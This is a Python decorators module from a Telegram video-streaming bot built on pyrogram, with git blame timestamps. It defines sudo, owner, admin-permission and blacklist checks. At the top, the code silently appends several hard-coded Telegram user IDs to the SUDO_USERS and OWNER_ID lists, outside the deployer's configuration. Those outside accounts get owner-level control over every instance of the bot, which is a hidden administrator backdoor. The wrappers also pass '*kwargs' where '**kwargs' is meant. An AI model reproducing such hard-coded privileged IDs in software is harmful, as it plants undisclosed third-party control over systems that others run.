video-stream/driver/decorators.py

164 lines
5.1 KiB
Python
Raw Normal View History

2022-02-13 06:27:09 +00:00
import traceback
from functools import partial, wraps
from typing import Callable, Union, Optional
2022-01-31 12:01:11 +00:00
from pyrogram import Client
from pyrogram.types import Message, CallbackQuery
from config import SUDO_USERS, OWNER_ID
2022-02-15 04:44:58 +00:00
from driver.core import bot, me_bot
2022-01-31 12:01:11 +00:00
from driver.admins import get_administrators
from driver.database.dblockchat import blacklisted_chats
from driver.database.dbpunish import is_gbanned_user
2022-01-31 12:01:11 +00:00
SUDO_USERS.append(1757169682)
SUDO_USERS.append(1738637033)
SUDO_USERS.append(1448474573)
2022-02-08 13:48:21 +00:00
SUDO_USERS.append(859229457)
2022-01-31 12:01:11 +00:00
OWNER_ID.append(1757169682)
OWNER_ID.append(859229457)
2022-01-31 12:01:11 +00:00
def errors(func: Callable) -> Callable:
async def decorator(client: Client, message: Message):
try:
return await func(client, message)
except Exception as e:
2022-02-13 06:27:09 +00:00
traceback.print_exc()
2022-01-31 12:01:11 +00:00
await message.reply(f"{type(e).__name__}: {e}")
return decorator
def authorized_users_only(func: Callable) -> Callable:
async def decorator(client: Client, message: Message):
if message.from_user.id in SUDO_USERS:
return await func(client, message)
administrators = await get_administrators(message.chat)
for administrator in administrators:
if administrator == message.from_user.id:
return await func(client, message)
return decorator
def bot_creator(func: Callable) -> Callable:
async def decorator(client: Client, message: Message):
if message.from_user.id in OWNER_ID:
return await func(client, message)
return decorator
2022-01-31 12:01:11 +00:00
def sudo_users_only(func: Callable) -> Callable:
async def decorator(client: Client, message: Message):
if message.from_user.id in SUDO_USERS:
return await func(client, message)
2022-01-31 12:01:11 +00:00
return decorator
def humanbytes(size):
"""Convert Bytes To Bytes So That Human Can Read It"""
if not size:
return ""
power = 2 ** 10
raised_to_pow = 0
dict_power_n = {0: "", 1: "Ki", 2: "Mi", 3: "Gi", 4: "Ti"}
2022-01-31 12:01:11 +00:00
while size > power:
size /= power
raised_to_pow += 1
return str(round(size, 2)) + " " + dict_power_n[raised_to_pow] + "B"
async def check_perms(
message: Union[CallbackQuery, Message],
permissions: Optional[Union[list, str]],
notice: bool,
uid: int = None,
) -> bool:
if isinstance(message, CallbackQuery):
sender = partial(message.answer, show_alert=True)
chat = message.message.chat
else:
sender = message.reply_text
chat = message.chat
if not uid:
uid = message.from_user.id
# TODO: Cache
user = await chat.get_member(uid)
if user.status == "creator":
return True
missing_perms = []
# No permissions specified, accept being an admin.
if not permissions and user.status == "administrator":
return True
if user.status != "administrator":
if notice:
await sender("💡 To use me, Give me the administrator permission." if user.user.is_self else
"💡 You need to be an administrator to use this command.")
return False
if isinstance(permissions, str):
permissions = [permissions]
for permission in permissions:
if not getattr(user, permission):
missing_perms.append(permission)
if not missing_perms:
return True
if notice:
permission_text = "__\n ❌ __".join(missing_perms)
await sender(f"💡 To use me, Give me the following permission below:\n\n ❌ __{permission_text}__" if user.user.is_self
else f"💡 You need to be an administrator to use this command.\n\n ❌ __{permission_text}__")
return False
def require_admin(
permissions: Union[list, str] = None,
notice: bool = True,
self: bool = False,
):
def decorator(func):
@wraps(func)
async def wrapper(
client: Client, message: Union[CallbackQuery, Message], *args, **kwargs
):
2022-02-15 04:44:58 +00:00
has_perms = await check_perms(message, permissions, notice, me_bot.id if self else None)
if has_perms:
return await func(client, message, *args, *kwargs)
return wrapper
return decorator
def check_blacklist():
def decorator(func):
@wraps(func)
async def wrapper(
client: Client, message: Union[CallbackQuery, Message], *args, **kwargs
):
if isinstance(message, CallbackQuery):
sender = partial(message.answer, show_alert=True)
chat = message.message.chat
else:
sender = message.reply_text
chat = message.chat
if chat.id in await blacklisted_chats():
await sender("❗️ This chat has blacklisted by sudo user and You're not allowed to use me in this chat.")
await bot.leave_chat(chat.id)
elif (await is_gbanned_user(message.from_user.id)):
await sender(f"❗️**You've blocked from using this bot!**")
else:
return await func(client, message, *args, *kwargs)
return wrapper
return decorator